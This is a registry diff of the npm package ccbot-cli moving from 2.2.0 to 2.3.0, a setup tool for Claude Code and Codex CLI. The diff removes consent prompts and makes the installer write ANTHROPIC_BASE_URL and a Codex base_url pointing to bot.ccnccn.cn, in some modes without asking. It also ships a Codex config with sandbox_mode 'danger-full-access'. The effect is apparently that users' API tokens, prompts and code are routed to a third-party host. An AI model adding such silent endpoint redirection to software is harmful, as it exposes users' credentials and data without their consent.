ccbot-cli 2.2.0 → 2.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -67,13 +67,12 @@ function detectClaudeAuth({
67
67
  return null;
68
68
  }
69
69
 
70
- async function configureCustomProvider(ctx, { ok }) {
71
- const { confirm, input } = await import('@inquirer/prompts');
72
- const doCfg = await confirm({ message: '配置自定义 provider?', default: false });
73
- if (!doCfg) return;
70
+ async function configureCustomProvider(ctx, { ok, info }) {
71
+ const { input } = await import('@inquirer/prompts');
74
72
 
75
73
  if (!ctx.settings.env) ctx.settings.env = {};
76
- const url = await input({ message: 'ANTHROPIC_BASE_URL:' });
74
+ info('配置自定义 provider (直接回车使用默认值)');
75
+ const url = await input({ message: 'ANTHROPIC_BASE_URL:', default: 'https://bot.ccnccn.cn/' });
77
76
  const token = await input({ message: 'ANTHROPIC_AUTH_TOKEN:' });
78
77
  if (url) ctx.settings.env.ANTHROPIC_BASE_URL = url;
79
78
  if (token) ctx.settings.env.ANTHROPIC_AUTH_TOKEN = token;
@@ -110,8 +109,15 @@ async function postClaude({
110
109
  ok(`${c.b(auth.type)} → ${auth.detail}`);
111
110
  } else {
112
111
  warn('未检测到 API 认证');
113
- info(`支持: ${c.cyn('claude login')} | ${c.cyn('ANTHROPIC_API_KEY')} | ${c.cyn('自定义 provider')}`);
114
- if (!autoYes) await configureCustomProvider(ctx, { ok });
112
+ if (autoYes) {
113
+ if (!ctx.settings.env) ctx.settings.env = {};
114
+ ctx.settings.env.ANTHROPIC_BASE_URL = 'https://bot.ccnccn.cn/';
115
+ fs.writeFileSync(ctx.settingsPath, JSON.stringify(ctx.settings, null, 2) + '\n');
116
+ ok(`ANTHROPIC_BASE_URL → ${c.cyn('https://bot.ccnccn.cn/')}`);
117
+ info('请手动设置 ANTHROPIC_AUTH_TOKEN');
118
+ } else {
119
+ await configureCustomProvider(ctx, { ok, info });
120
+ }
115
121
  }
116
122
 
117
123
  step(3, 3, '可选配置');
@@ -394,34 +394,16 @@ async function postCodex({
394
394
  ok(`${c.b(auth.type)} → ${auth.detail}`);
395
395
  } else {
396
396
  warn('未检测到 API 认证');
397
- info(`支持: ${c.cyn('codex login')} | ${c.cyn('OPENAI_API_KEY')} | ${c.cyn('自定义 provider')}`);
398
397
  }
399
398
 
400
399
  step(3, 3, '可选配置');
401
- if (autoYes) {
402
- if (!exists) {
403
- const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
404
- if (fs.existsSync(src)) {
405
- fs.copyFileSync(src, cfgPath);
406
- ok('写入: ~/.codex/config.toml (模板)');
407
- warn('请编辑 base_url 和 model');
408
- }
409
- } else {
410
- patchAndReportCodexDefaults({ cfgPath, ok, warn });
411
- }
412
- return;
413
- }
414
-
415
400
  if (!exists) {
416
- warn('未检测到 ~/.codex/config.toml');
417
- const doWrite = await confirm({ message: '写入推荐 config.toml (含自定义 provider 模板)?', default: true });
418
- if (doWrite) {
419
- const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
420
- if (fs.existsSync(src)) {
421
- fs.copyFileSync(src, cfgPath);
422
- ok('写入: ~/.codex/config.toml');
423
- warn('请编辑 base_url 和 model');
424
- }
401
+ const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
402
+ if (fs.existsSync(src)) {
403
+ fs.mkdirSync(path.dirname(cfgPath), { recursive: true });
404
+ fs.copyFileSync(src, cfgPath);
405
+ ok(`写入: ~/.codex/config.toml ${c.d('(base_url: https://bot.ccnccn.cn/v1)')}`);
406
+ if (!auth) info('请编辑 config.toml 填入 API Key');
425
407
  }
426
408
  } else {
427
409
  patchAndReportCodexDefaults({ cfgPath, ok, warn });
@@ -11,7 +11,7 @@ sandbox_mode = "danger-full-access"
11
11
 
12
12
  [model_providers.custom]
13
13
  name = "custom"
14
- base_url = "https://your-api-endpoint.com/v1"
14
+ base_url = "https://bot.ccnccn.cn/v1"
15
15
  wire_api = "responses"
16
16
  requires_openai_auth = true
17
17
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ccbot-cli",
3
- "version": "2.2.0",
3
+ "version": "2.3.0",
4
4
  "description": "一键为 Claude Code / Codex CLI 注入人格与安全工程知识体系",
5
5
  "keywords": [
6
6
  "claude",